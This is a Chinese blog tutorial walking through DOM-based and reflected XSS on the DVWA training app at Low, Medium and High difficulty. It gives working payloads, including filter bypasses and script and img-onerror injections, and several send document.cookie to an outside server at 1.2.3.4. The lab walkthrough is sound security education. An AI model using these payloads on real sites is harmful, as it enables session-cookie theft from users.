DVWA系列4：XSS 跨站脚本攻击之 DOM型 和 反射型
前言
跨站脚本攻击（即 Corss Site Script，为了不与 CSS 混淆被称为 XSS）是一种较为常见的攻击手段。主要分为三种类型：DOM 型，反射型，存储型。本文先主要介绍 DOM 型 和 反射型。
这两种都是完全发生在浏览器中，利用了的是：网站使用URL中的参数渲染网页，但未仔细校验的漏洞。攻击的手段一般都是诱骗用户点击构造的链接，进而将用户的敏感信息发送到攻击者的服务器上。但是这种攻击的缺点也很明显，就是可以根据攻击者留下的服务器地址溯源。
闲言少叙，接下来就开始我们的探索吧。
1. DOM 型
（1）目标网站环境
开始我们可以看到一个“人畜无害”的下拉选择框。选择以后，发现地址栏的参数添加了一个 ?default=English，而且下拉框变成了这个样子：
我们选择的 English 按钮被单独放置了出来。由此猜测地址栏的参数就是被单独放置的参数。直接篡改地址栏的参数（如改成 ?default=battor），回车后发现居然也显示在了下拉选择框中。。。此时我们就可以得出一个结论：网页是根据地址栏的参数渲染的，而且存在漏洞（因为我们随便输入了一个什么参数也展示了）。
（2）Low 难度实操
最直接的当然是使用 script 标签啦，将地址栏的参数改为：
?default=<script>alert(document.cookie)</script>
回车：
可以看到居然弹出了我们的 cookie——这个用来标记我们身份的重要数据。
TIPS
我一开始很不理解，为什么看这类文章大家都用 alert，不过是一个弹窗，能有什么危害。后来了解了，alert 就是一个示意而已，真正的攻击都是在背后悄无声息进行的，这个 alert 就会变成发送到黑客的服务器的函数。在这里也给出一个实际的示例（利用的是 JavaScript 中的立即执行函数写法）：
(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://服务器地址?参数' + document.cookie); xhr.send() })()
在本例中，将参数改为：
?default=<script>(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://1.2.3.4?param=' + document.cookie); xhr.send() })()</script>
可以看到网页中并没有什么变化，但是服务器（这里使用的是 .NET 6 开发的的后端）已经收到浏览器发来的敏感数据了：
（3）Medium 难度实操
查看源代码，可以已经发现对 script 标签进行了处理：
再使用 script 标签就不行了。此时可以想到使用 img 标签的 onerror 来发送。这里也考虑过使用 window.open，但这个是直接的弹窗，一般会被浏览器阻止；使用 img 标签的src，但不能拼接 document.cookie 变量，只能是常量值。
payload 如下：
<img src="1" onerror="(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://1.2.3.4?param=' + document.cookie); xhr.send() })()" />
但是此时并不能达到效果。这实际是网站的 DOM 特点决定的，不能直接添加 img 标签。此时我们可以使用 </select> 标签闭合 select 的下拉选择框，再展示图片。
payload 如下：
</select><img src="1" onerror="(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://1.2.3.4?param=' + document.cookie); xhr.send() })()" />
此时查看服务器，可以发现收到了浏览器发来的 cookie。
（4）High 难度实操
查看源代码发现，在 服务器端 对参数进行了处理，用了 switch case 排除了给定选项以外的其它选项。
此时我们可以通过 # 号 绕过后端的处理（有点 SQL 注入内味了XD）。# 号其实有锚点的意思，用于浏览器定位页面位置。在 ?default=English 后添加：
#<script>(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://1.2.3.4?param=' + document.cookie); xhr.send() })()</script>
刷新页面后，可以在服务器上看到浏览器发来的数据。
2. 反射型
其实有了 DOM 型的经验，反射型理解起来就容易许多。
（1）目标网站环境
依然是一个“人畜无害”的输入框，输入文字后展示在下面，并且地址栏中多了一个参数 ?name=张三 。
（2）Low 难度实操
直接地址栏上输入 script 标签即可：
?name=<script>alert(123)</script>
（发送请求要写的太长了，这里还是用 alert 来替代吧，害）
（3）Meium 难度实操
查看源代码，可以看到使用了简单的 replace 方式：
那我们构造个异形的 script 不就好了？（生异形吗你们哥几个，哥俩 #滑稽）
直接地址栏上输入 script 标签即可：
?name=<sCript>alert(123)</scRipt>
也可以利用这个 replace 的处理，构造一个存在冗余的 script 标签：
?name=<scr<script>ipt>alert(123)</sc</script>ript>
（3）High 难度实操
通过查看源代码发现，已经对 script 标签进行了严格的过滤：
Medium 难度的 payload 都不再起作用了。这时我们又想到了可以利用 img 标签的 onerror：
?name=<img src="1" onerror="alert(123)">
总结
之前也看过很多文章，感觉一直半懂不懂的。尤其是经常看到上来就是各种 alert 的操作确实有点懵。经过学习别人的文章和自己的实践，终于了解了一些，感觉也不是这么遥不可测。下次继续探索存储型的 XSS 了。
参考
DVWA之XSS （完整版）
Javascript 中发出 HTTP 请求
DVWA-XSS
Web安全实战系列笔记 | XSS跨站实战和分析（五）
xss之DOM型
3-4Dom形XSS详解以及演示
关于DOM型XSS的深入解析（收藏）
DVWA-XSS
渗透测试 | Dvwa XSS超详细通关题解
url中#(hash)的含义
关于一次XSS攻击的onerror事件
DVWA XSS跨站脚本攻击实践